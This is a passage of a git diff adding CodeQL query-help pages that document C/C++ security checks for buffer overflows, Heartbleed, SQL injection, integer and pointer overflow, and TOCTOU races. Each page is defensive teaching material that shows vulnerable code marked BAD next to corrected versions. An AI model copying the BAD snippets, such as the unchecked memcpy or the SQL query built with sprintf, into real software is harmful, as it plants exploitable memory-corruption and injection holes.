external/cwe/cwe-788 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-327/OpenSslHeartbleed.ql) + +Earlier versions of the popular OpenSSL library suffer from a buffer overflow in its "heartbeat" code. Because of the location of the problematic code, this vulnerability is often called "Heartbleed". + +Software that includes a copy of OpenSSL should be sure to use a current version of the library. If it uses an older version, it will be vulnerable to any network site it connects with. + + +## Recommendation +Upgrade to the latest version of OpenSSL. This problem was fixed in version 1.0.1g. + + +## Example +The following code is present in earlier versions of OpenSSL. The `payload` variable is the number of bytes that should be copied from the request back into the response. The call to `memcpy` does this copy. The problem is that `payload` is supplied as part of the remote request, and there is no code that checks the size of it. If the caller supplies a very large value, then the `memcpy` call will copy memory that is outside the request packet. + + +```c +int +tls1_process_heartbeat(SSL *s) + { + unsigned char *p = &s->s3->rrec.data[0], *pl; + unsigned short hbtype; + unsigned int payload; + + /* ... */ + + hbtype = *p++; + n2s(p, payload); + pl = p; + + /* ... */ + + if (hbtype == TLS1_HB_REQUEST) + { + /* ... */ + memcpy(bp, pl, payload); // BAD: overflow here + /* ... */ + } + + + /* ... */ + + } + +``` + +## References +* Common Vulnerabilities and Exposures: [CVE-2014-0160](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160). +* OpenSSL News: [OpenSSL Security Advisory [07 Apr 2014]](https://www.openssl.org/news/secadv_20140407.txt). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). +* Common Weakness Enumeration: [CWE-788](https://cwe.mitre.org/data/definitions/788.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverflowStatic.md b/docs/language/query-help/cpp/OverflowStatic.md new file mode 100644 index 00000000000..23672b0a0d0 --- /dev/null +++ b/docs/language/query-help/cpp/OverflowStatic.md @@ -0,0 +1,41 @@ +# Static array access may cause overflow + +``` +ID: cpp/static-buffer-overflow +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-119 external/cwe/cwe-131 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/OverflowStatic.ql) + +When you use static arrays you must ensure that you do not exceed the size of the array during write and access operations. If an operation attempts to write to or access an element that is outside the range of the array then this results in a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +Check the offsets and sizes used in the highlighted operations to ensure that a buffer overflow will not occur. + + +## Example + +```cpp +#define SIZE 30 + +int f(char * s) { + char buf[20]; //buf not set to use SIZE macro + + strncpy(buf, s, SIZE); //wrong: copy may exceed size of buf + + for (int i = 0; i < SIZE; i++) { //wrong: upper limit that is higher than array size + cout << array[i]; + } +} + +``` + +## References +* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. +* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. +* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). +* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverrunWrite.md b/docs/language/query-help/cpp/OverrunWrite.md new file mode 100644 index 00000000000..5b511dbdbc5 --- /dev/null +++ b/docs/language/query-help/cpp/OverrunWrite.md @@ -0,0 +1,45 @@ +# Potentially overrunning write + +``` +ID: cpp/overrunning-write +Kind: problem +Severity: error +Precision: medium +Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/OverrunWrite.ql) + +The program performs a buffer copy or write operation with no upper limit on the size of the copy, and it appears that certain inputs will cause a buffer overflow to occur in this case. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. + + +## Recommendation +Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf`, and in other cases 'n-variant' functions should be preferred. + + +## Example + +```c +void sayHello() +{ + char buffer[10]; + + // BAD: this message overflows the buffer + strcpy(buffer, "Hello, world!"); + + MessageBox(hWnd, buffer, "New Message", MB_OK); +} +``` +In this example, the call to `strcpy` copies a message of 14 characters (including the terminating null) into a buffer with space for just 10 characters. As such, the last four characters overflow the buffer resulting in undefined behavior. + +To fix this issue three changes should be made: + +* Control the size of the buffer using a preprocessor define. +* Replace the call to `strcpy` with `strncpy`, specifying the define as the maximum length to copy. This will prevent the buffer overflow. +* Consider increasing the buffer size, say to 20 characters, so that the message is displayed correctly. + +## References +* CERT C Coding Standard: [STR31-C. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). +* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OverrunWriteFloat.md b/docs/language/query-help/cpp/OverrunWriteFloat.md new file mode 100644 index 00000000000..511f4691d76 --- /dev/null +++ b/docs/language/query-help/cpp/OverrunWriteFloat.md @@ -0,0 +1,45 @@ +# Potentially overrunning write with float to string conversion + +``` +ID: cpp/overrunning-write-with-float +Kind: problem +Severity: error +Precision: medium +Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/OverrunWriteFloat.ql) + +The program performs a buffer copy or write operation that includes one or more float to string conversions (i.e. the %f format specifier), which may overflow the destination buffer if extreme inputs are given. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. + + +## Recommendation +Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf`, and in other cases 'n-variant' functions should be preferred. + + +## Example + +```c +void displayValue(double value) +{ + char buffer[256]; + + // BAD: extreme values may overflow the buffer + sprintf(buffer, "%f", value); + + MessageBox(hWnd, buffer, "A Number", MB_OK); +} +``` +In this example, the call to `sprintf` contains a %f format specifier. Though a 256 character buffer has been allowed, it is not sufficient for the most extreme floating point inputs. For example the representation of double value 1e304 (that is 1 with 304 zeroes after it) will overflow a buffer of this length. + +To fix this issue three changes should be made: + +* Control the size of the buffer using a preprocessor define. +* Replace the call to `sprintf` with `snprintf`, specifying the define as the maximum length to copy. This will prevent the buffer overflow. +* Consider using the %g format specifier instead of %f. + +## References +* CERT C Coding Standard: [STR31-C. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). +* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/PointerOverflow.md b/docs/language/query-help/cpp/PointerOverflow.md new file mode 100644 index 00000000000..843e3a4d172 --- /dev/null +++ b/docs/language/query-help/cpp/PointerOverflow.md @@ -0,0 +1,45 @@ +# Pointer overflow check + +``` +ID: cpp/pointer-overflow-check +Kind: problem +Severity: error +Precision: high +Tags: reliability security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/PointerOverflow.ql) + +When checking for integer overflow, you may often write tests like `p + i < p`. This works fine if `p` and `i` are unsigned integers, since any overflow in the addition will cause the value to simply "wrap around." However, using this pattern when `p` is a pointer is problematic because pointer overflow has undefined behavior according to the C and C++ standards. If the addition overflows and has an undefined result, the comparison will likewise be undefined; it may produce an unintended result, or may be deleted entirely by an optimizing compiler. + + +## Recommendation +To check whether an index `i` is less than the length of an array, simply compare these two numbers as unsigned integers: `i < ARRAY_LENGTH`. If the length of the array is defined as the difference between two pointers `ptr` and `p_end`, write `i < p_end - ptr`. If `i` is signed, cast it to unsigned in order to guard against negative `i`. For example, write `(size_t)i < p_end - ptr`. + + +## Example +An invalid check for pointer overflow is most often seen as part of checking whether a number `a` is too large by checking first if adding the number to `ptr` goes past the end of an allocation and then checking if adding it to `ptr` creates a pointer so large that it overflows and wraps around. + + +```cpp +bool not_in_range(T *ptr, T *ptr_end, size_t i) { + return ptr + i >= ptr_end || ptr + i < ptr; // BAD +} + +``` +In both of these checks, the operations are performed in the wrong order. First, an expression that may cause undefined behavior is evaluated (`ptr + i`), and then the result is checked for being in range. But once undefined behavior has happened in the pointer addition, it cannot be recovered from: it's too late to perform the range check after a possible pointer overflow. + +While it's not the subject of this query, the expression `ptr + i < ptr_end` is also an invalid range check. It's undefined behavor in C/C++ to create a pointer that points more than one past the end of an allocation. + +The next example shows how to portably check whether an unsigned number is outside the range of an allocation between `ptr` and `ptr_end`. + + +```cpp +bool not_in_range(T *ptr, T *ptr_end, size_t i) { + return i >= ptr_end - ptr; // GOOD +} +``` + +## References +* Embedded in Academia: [Pointer Overflow Checking](https://blog.regehr.org/archives/1395). +* LWN: [GCC and pointer overflows](https://lwn.net/Articles/278137/). \ No newline at end of file diff --git a/docs/language/query-help/cpp/PotentiallyDangerousFunction.md b/docs/language/query-help/cpp/PotentiallyDangerousFunction.md new file mode 100644 index 00000000000..ed95cf2a7af --- /dev/null +++ b/docs/language/query-help/cpp/PotentiallyDangerousFunction.md @@ -0,0 +1,50 @@ +# Use of potentially dangerous function + +``` +ID: cpp/potentially-dangerous-function +Kind: problem +Severity: warning +Precision: high +Tags: reliability security external/cwe/cwe-676 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/PotentiallyDangerousFunction.ql) + +This rule finds calls to functions that are dangerous to use. Currently, it checks for calls to `gmtime`, `localtime`, `ctime` and `asctime`. + +The time related functions such as `gmtime` fill data into a `tm` struct or `char` array in shared memory and then returns a pointer to that memory. If the function is called from multiple places in the same program, and especially if it is called from multiple threads in the same program, then the calls will overwrite each other's data. + + +## Recommendation +Replace calls to `gmtime` with `gmtime_r`. With `gmtime_r`, the application code manages allocation of the `tm` struct. That way, separate calls to the function can use their own storage. + +Similarly replace calls to `localtime` with `localtime_r`, calls to `ctime` with `ctime_r` and calls to `asctime` with `asctime_r`. + + +## Example +The following example checks the local time in two ways: + + +```c +// BAD: using gmtime +int is_morning_bad() { + const time_t now_seconds = time(NULL); + struct tm *now = gmtime(&now_seconds); + return (now->tm_hour < 12); +} + +// GOOD: using gmtime_r +int is_morning_good() { + const time_t now_seconds = time(NULL); + struct tm now; + gmtime_r(&now_seconds, &now); + return (now.tm_hour < 12); +} + +``` +The first version uses `gmtime`, so it is vulnerable to its data being overwritten by another thread. Even if this code is not used in a multi-threaded context right now, future changes may make the program multi-threaded. The second version of the code uses `gmtime_r`. Since it allocates a new `tm` struct on every call, it is immune to other calls to `gmtime` or `gmtime_r`. + + +## References +* SEI CERT C Coding Standard: [CON33-C. Avoid race conditions when using library functions](https://wiki.sei.cmu.edu/confluence/display/c/CON33-C.+Avoid+race+conditions+when+using+library+functions). +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SignedOverflowCheck.md b/docs/language/query-help/cpp/SignedOverflowCheck.md new file mode 100644 index 00000000000..2d200d70b4d --- /dev/null +++ b/docs/language/query-help/cpp/SignedOverflowCheck.md @@ -0,0 +1,70 @@ +# Signed overflow check + +``` +ID: cpp/signed-overflow-check +Kind: problem +Severity: warning +Precision: high +Tags: correctness security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/SignedOverflowCheck.ql) + +When checking for integer overflow, you may often write tests like `a + b < a`. This works fine if `a` or `b` are unsigned integers, since any overflow in the addition will cause the value to simply "wrap around." However, using *signed* integers is problematic because signed overflow has undefined behavior according to the C and C++ standards. If the addition overflows and has an undefined result, the comparison will likewise be undefined; it may produce an unintended result, or may be deleted entirely by an optimizing compiler. + + +## Recommendation +Solutions to this problem can be thought of as falling into one of two categories: + +1. Rewrite the signed expression so that overflow cannot occur but the signedness remains. +1. Change the variables and all their uses to be unsigned. +The following cases all fall into the first category. + +1. Given `unsigned short n1, delta` and `n1 + delta < n1`, it is possible to rewrite it as `(unsigned short)(n1 + delta) < n1`. Note that `n1 + delta` does not actually overflow, due to `int` promotion. +1. Given `unsigned short n1, delta` and `n1 + delta < n1`, it is also possible to rewrite it as `n1 > USHORT_MAX - delta`. The `limits.h` or `climits` header must then be included. +1. Given `int n1, delta` and `n1 + delta < n1`, it is possible to rewrite it as `n1 > INT_MAX - delta`. It must be true that `delta >= 0` and the `limits.h` or `climits` header has been included. + +## Example +In the following example, even though `delta` has been declared `unsigned short`, C/C++ type promotion rules require that its type is promoted to the larger type used in the addition and comparison, namely a `signed int`. Addition is performed on signed integers, and may have undefined behavior if an overflow occurs. As a result, the entire (comparison) expression may also have an undefined result. + + +```cpp +bool foo(int n1, unsigned short delta) { + return n1 + delta < n1; // BAD +} + +``` +The following example builds upon the previous one. Instead of performing an addition (which could overflow), we have re-framed the solution so that a subtraction is used instead. Since `delta` is promoted to a `signed int` and `INT_MAX` denotes the largest possible positive value for an `signed int`, the expression `INT_MAX - delta` can never be less than zero or more than `INT_MAX`. Hence, any overflow and underflow are avoided. + + +```cpp +#include +bool foo(int n1, unsigned short delta) { + return n1 > INT_MAX - delta; // GOOD +} + +``` +In the following example, even though both `n` and `delta` have been declared `unsigned short`, both are promoted to `signed int` prior to addition. Because we started out with the narrower `short` type, the addition is guaranteed not to overflow and is therefore defined. But the fact that `n1 + delta` never overflows means that the condition `n1 + delta < n1` will never hold true, which likely is not what the programmer intended. (see also the `cpp/bad-addition-overflow-check` query). + + +```cpp +bool bar(unsigned short n1, unsigned short delta) { + // NB: Comparison is always false + return n1 + delta < n1; // GOOD (but misleading) +} + +``` +The next example provides a solution to the previous one. Even though `n1 + delta` does not overflow, casting it to an `unsigned short` truncates the addition modulo 2^16, so that `unsigned short` "wrap around" may now be observed. Furthermore, since the left-hand side is now of type `unsigned short`, the right-hand side does not need to be promoted to a `signed int`. + + +```cpp +bool bar(unsigned short n1, unsigned short delta) { + return (unsigned short)(n1 + delta) < n1; // GOOD +} + +``` + +## References +* [comp.lang.c FAQ list · Question 3.19 (Preserving rules)](http://c-faq.com/expr/preservingrules.html) +* [INT31-C. Ensure that integer conversions do not result in lost or misinterpreted data](https://wiki.sei.cmu.edu/confluence/display/c/INT31-C.+Ensure+that+integer+conversions+do+not+result+in+lost+or+misinterpreted+data) +* W. Dietz, P. Li, J. Regehr, V. Adve. [Understanding Integer Overflow in C/C++](https://www.cs.utah.edu/~regehr/papers/overflow12.pdf) \ No newline at end of file diff --git a/docs/language/query-help/cpp/SizeCheck.md b/docs/language/query-help/cpp/SizeCheck.md new file mode 100644 index 00000000000..2885c443c85 --- /dev/null +++ b/docs/language/query-help/cpp/SizeCheck.md @@ -0,0 +1,40 @@ +# Not enough memory allocated for pointer type + +``` +ID: cpp/allocation-too-small +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-122 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/SizeCheck.ql) + +When you allocate an array from memory using `malloc`, `calloc` or `realloc`, you should ensure that you allocate enough memory to contain an instance of the required pointer type. Calls that are assigned to a non-void pointer variable, but do not allocate enough memory will cause a buffer overflow when a field accessed on the pointer points to memory that is beyond the allocated array. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +The highlighted call allocates memory that is too small to contain an instance of the type of the pointer, which can cause a memory overrun. Use the `sizeof` operator to ensure that the function call allocates enough memory for that type. + + +## Example + +```cpp +#define RECORD_SIZE 30 //incorrect or outdated size for record +typedef struct { + char name[30]; + int status; +} Record; + +void f() { + Record* p = malloc(RECORD_SIZE); //not of sufficient size to hold a Record + ... +} + +``` + +## References +* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. +* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. +* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). +* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SizeCheck2.md b/docs/language/query-help/cpp/SizeCheck2.md new file mode 100644 index 00000000000..2767a32eb9f --- /dev/null +++ b/docs/language/query-help/cpp/SizeCheck2.md @@ -0,0 +1,41 @@ +# Not enough memory allocated for array of pointer type + +``` +ID: cpp/suspicious-allocation-size +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-122 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/SizeCheck2.ql) + +When you allocate an array from memory using `malloc`, `calloc` or `realloc`, you should ensure that you allocate enough memory to contain a multiple of the size of the required pointer type. Calls that are assigned to a non-void pointer variable, but do not allocate enough memory will cause a buffer overflow when a field accessed on the pointer points to memory that is beyond the allocated array. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +The highlighted call allocates memory that is not a multiple of the size of the pointer type, which can cause a memory overrun. Use the `sizeof` operator to ensure that the function call allocates enough memory for that type. + + +## Example + +```cpp +#define RECORD_SIZE 30 //incorrect or outdated size for record +typedef struct { + char name[30]; + int status; +} Record; + +void f() { + Record* p = malloc(RECORD_SIZE * 4); //wrong: not a multiple of the size of Record + p[3].status = 1; //will most likely segfault + ... +} + +``` + +## References +* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. +* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. +* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). +* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SnprintfOverflow.md b/docs/language/query-help/cpp/SnprintfOverflow.md new file mode 100644 index 00000000000..7236604daf4 --- /dev/null +++ b/docs/language/query-help/cpp/SnprintfOverflow.md @@ -0,0 +1,66 @@ +# Potentially overflowing call to snprintf + +``` +ID: cpp/overflowing-snprintf +Kind: problem +Severity: warning +Precision: high +Tags: reliability correctness security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/SnprintfOverflow.ql) + +The return value of a call to `snprintf` is the number of characters that *would have* been written to the buffer assuming there was sufficient space. In the event that the operation reaches the end of the buffer and more than one character is discarded, the return value will be greater than the buffer size. This can cause incorrect behaviour, for example: + + +## Example + +```cpp +#define BUF_SIZE (32) + +int main(int argc, char *argv[]) +{ + char buffer[BUF_SIZE]; + size_t pos = 0; + int i; + + for (i = 0; i < argc; i++) + { + pos += snprintf(buffer + pos, BUF_SIZE - pos, "%s", argv[i]); + // BUF_SIZE - pos may overflow + } +} + +``` + +## Recommendation +The return value of `snprintf` should always be checked if it is used, and values larger than the buffer size should be accounted for. + + +## Example + +```cpp +#define BUF_SIZE (32) + +int main(int argc, char *argv[]) +{ + char buffer[BUF_SIZE]; + size_t pos = 0; + int i; + + for (i = 0; i < argc; i++) + { + int n = snprintf(buffer + pos, BUF_SIZE - pos, "%s", argv[i]); + if (n < 0 || n >= BUF_SIZE - pos) + { + break; + } + pos += n; + } +} + +``` + +## References +* cplusplus.com: [snprintf](http://www.cplusplus.com/reference/cstdio/snprintf/). +* Red Hat Customer Portal: [The trouble with snprintf](https://access.redhat.com/blogs/766093/posts/1976193). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SqlTainted.md b/docs/language/query-help/cpp/SqlTainted.md new file mode 100644 index 00000000000..3550a38f5df --- /dev/null +++ b/docs/language/query-help/cpp/SqlTainted.md @@ -0,0 +1,43 @@ +# Uncontrolled data in SQL query + +``` +ID: cpp/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql) + +The code passes user input as part of a SQL query without escaping special elements. It generates a SQL query using `sprintf`, with the user-supplied data directly passed as an argument to `sprintf`. This leaves the code vulnerable to attack by SQL Injection. + + +## Recommendation +Use a library routine to escape characters in the user-supplied string before converting it to SQL. + + +## Example + +```c +int main(int argc, char** argv) { + char *userName = argv[2]; + + // BAD + char query1[1000] = {0}; + sprintf(query1, "SELECT UID FROM USERS where name = \"%s\"", userName); + runSql(query1); + + // GOOD + char userNameSql[1000] = {0}; + encodeSqlString(userNameSql, 1000, userName); + char query2[1000] = {0}; + sprintf(query2, "SELECT UID FROM USERS where name = \"%s\"", userNameSql); + runSql(query2); +} + +``` + +## References +* Microsoft Developer Network: [SQL Injection](http://msdn.microsoft.com/en-us/library/ms161953.aspx). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/StrncpyFlippedArgs.md b/docs/language/query-help/cpp/StrncpyFlippedArgs.md new file mode 100644 index 00000000000..bac8fb2f8eb --- /dev/null +++ b/docs/language/query-help/cpp/StrncpyFlippedArgs.md @@ -0,0 +1,34 @@ +# Possibly wrong buffer size in string copy + +``` +ID: cpp/bad-strncpy-size +Kind: problem +Severity: warning +Precision: medium +Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/StrncpyFlippedArgs.ql) + +The standard library function `strncpy` copies a source string to a destination buffer. The third argument defines the maximum number of characters to copy and should be less than or equal to the size of the destination buffer. Calls of the form `strncpy(dest, src, strlen(src))` or `strncpy(dest, src, sizeof(src))` incorrectly set the third argument to the size of the source buffer. Executing a call of this type may cause a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +Check the highlighted function calls carefully, and ensure that the size parameter is derived from the size of the destination buffer, not the source buffer. + + +## Example + +```cpp +strncpy(dest, src, sizeof(src)); //wrong: size of dest should be used +strncpy(dest, src, strlen(src)); //wrong: size of dest should be used + +``` + +## References +* cplusplus.com: [strncpy](http://www.cplusplus.com/reference/clibrary/cstring/strncpy/). +* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. +* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). +* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). +* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md b/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md new file mode 100644 index 00000000000..1b04c565439 --- /dev/null +++ b/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md @@ -0,0 +1,43 @@ +# Suspicious add with sizeof + +``` +ID: cpp/suspicious-add-sizeof +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-468 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/SuspiciousAddWithSizeof.ql) + +Pointer arithmetic in C and C++ is automatically scaled according to the size of the data type. For example, if the type of `p` is `T*` and `sizeof(T) == 4` then the expression `p+1` adds 4 bytes to `p`. + +This query finds code of the form `p + k*sizeof(T)`. Such code is usually a mistake because there is no need to manually scale the offset by `sizeof(T)`. + + +## Recommendation +1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. +1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `char*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. + +## Example + +```cpp +int example1(int i) { + int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + int *intPointer = intArray; + // BAD: the offset is already automatically scaled by sizeof(int), + // so this code will compute the wrong offset. + return *(intPointer + (i * sizeof(int))); +} + +int example2(int i) { + int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + int *intPointer = intArray; + // GOOD: the offset is automatically scaled by sizeof(int). + return *(intPointer + i); +} + +``` + +## References +* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousCallToStrncat.md b/docs/language/query-help/cpp/SuspiciousCallToStrncat.md new file mode 100644 index 00000000000..83bbb8c6d2a --- /dev/null +++ b/docs/language/query-help/cpp/SuspiciousCallToStrncat.md @@ -0,0 +1,36 @@ +# Potentially unsafe call to strncat + +``` +ID: cpp/unsafe-strncat +Kind: problem +Severity: warning +Precision: medium +Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/SuspiciousCallToStrncat.ql) + +The standard library function `strncat` appends a source string to a target string. The third argument defines the maximum number of characters to append and should be less than or equal to the remaining space in the destination buffer. Calls of the form `strncat(dest, src, strlen(dest))` or `strncat(dest, src, sizeof(dest))` set the third argument to the entire size of the destination buffer. Executing a call of this type may cause a buffer overflow unless the buffer is known to be empty. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +Check the highlighted function calls carefully to ensure that no buffer overflow is possible. For a more robust solution, consider updating the function call to include the remaining space in the destination buffer. + + +## Example + +```cpp +strncat(dest, src, strlen(dest)); //wrong: should use remaining size of dest + +strncat(dest, src, sizeof(dest)); //wrong: should use remaining size of dest. + //Also fails if dest is a pointer and not an array. + +``` + +## References +* cplusplus.com: [strncat](http://www.cplusplus.com/reference/clibrary/cstring/strncat/), [strncpy](http://www.cplusplus.com/reference/clibrary/cstring/strncpy/). +* I. Gerg, *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4, 2005. +* M. Donaldson, *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room, 2002. +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). +* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). +* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousSizeof.md b/docs/language/query-help/cpp/SuspiciousSizeof.md new file mode 100644 index 00000000000..803a5b0b073 --- /dev/null +++ b/docs/language/query-help/cpp/SuspiciousSizeof.md @@ -0,0 +1,32 @@ +# Suspicious 'sizeof' use + +``` +ID: cpp/suspicious-sizeof +Kind: problem +Severity: warning +Precision: medium +Tags: reliability correctness security external/cwe/cwe-467 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/SuspiciousSizeof.ql) + +This rule finds expressions that take the size of a function parameter of array type. In C, function parameters of array type are treated as if they had the corresponding pointer type, so their size is always the size of the pointer type (typically either four or eight). In particular, one cannot determine the size of a memory buffer passed as a parameter in this way. Using the `sizeof` operator on pointer types will produce unexpected results if the developer intended to get the size of an array instead of the pointer. + + +## Recommendation +Modify the function to take an extra argument indicating the buffer size. + + +## Example + +```cpp +void f(char s[]) { + int size = sizeof(s); //wrong: s is now a char*, not an array. + //sizeof(s) will evaluate to sizeof(char *) +} + +``` + +## References +* Comp.lang.c, Frequently Asked Questions: [Question 6.3: So what is meant by the "equivalence of pointers and arrays" in C?](http://c-faq.com/aryptr/aryptrequiv.html). +* Common Weakness Enumeration: [CWE-467](https://cwe.mitre.org/data/definitions/467.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TOCTOUFilesystemRace.md b/docs/language/query-help/cpp/TOCTOUFilesystemRace.md new file mode 100644 index 00000000000..5497f31fb2a --- /dev/null +++ b/docs/language/query-help/cpp/TOCTOUFilesystemRace.md @@ -0,0 +1,74 @@ +# Time-of-check time-of-use filesystem race condition + +``` +ID: cpp/toctou-race-condition +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-367 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-367/TOCTOUFilesystemRace.ql) + +Often it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon. + +However, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior. + + +## Recommendation +Wherever possible, use functions that operate on file descriptors rather than file names (for example, `fchmod` rather than `chmod`). + +For access checks, you can temporarily change the UID and GID to that of the user whose permissions are being checked, and then perform the operation. This has the effect of "atomically" combining a permissions check with the operation. + +If file-system locking tools are available on 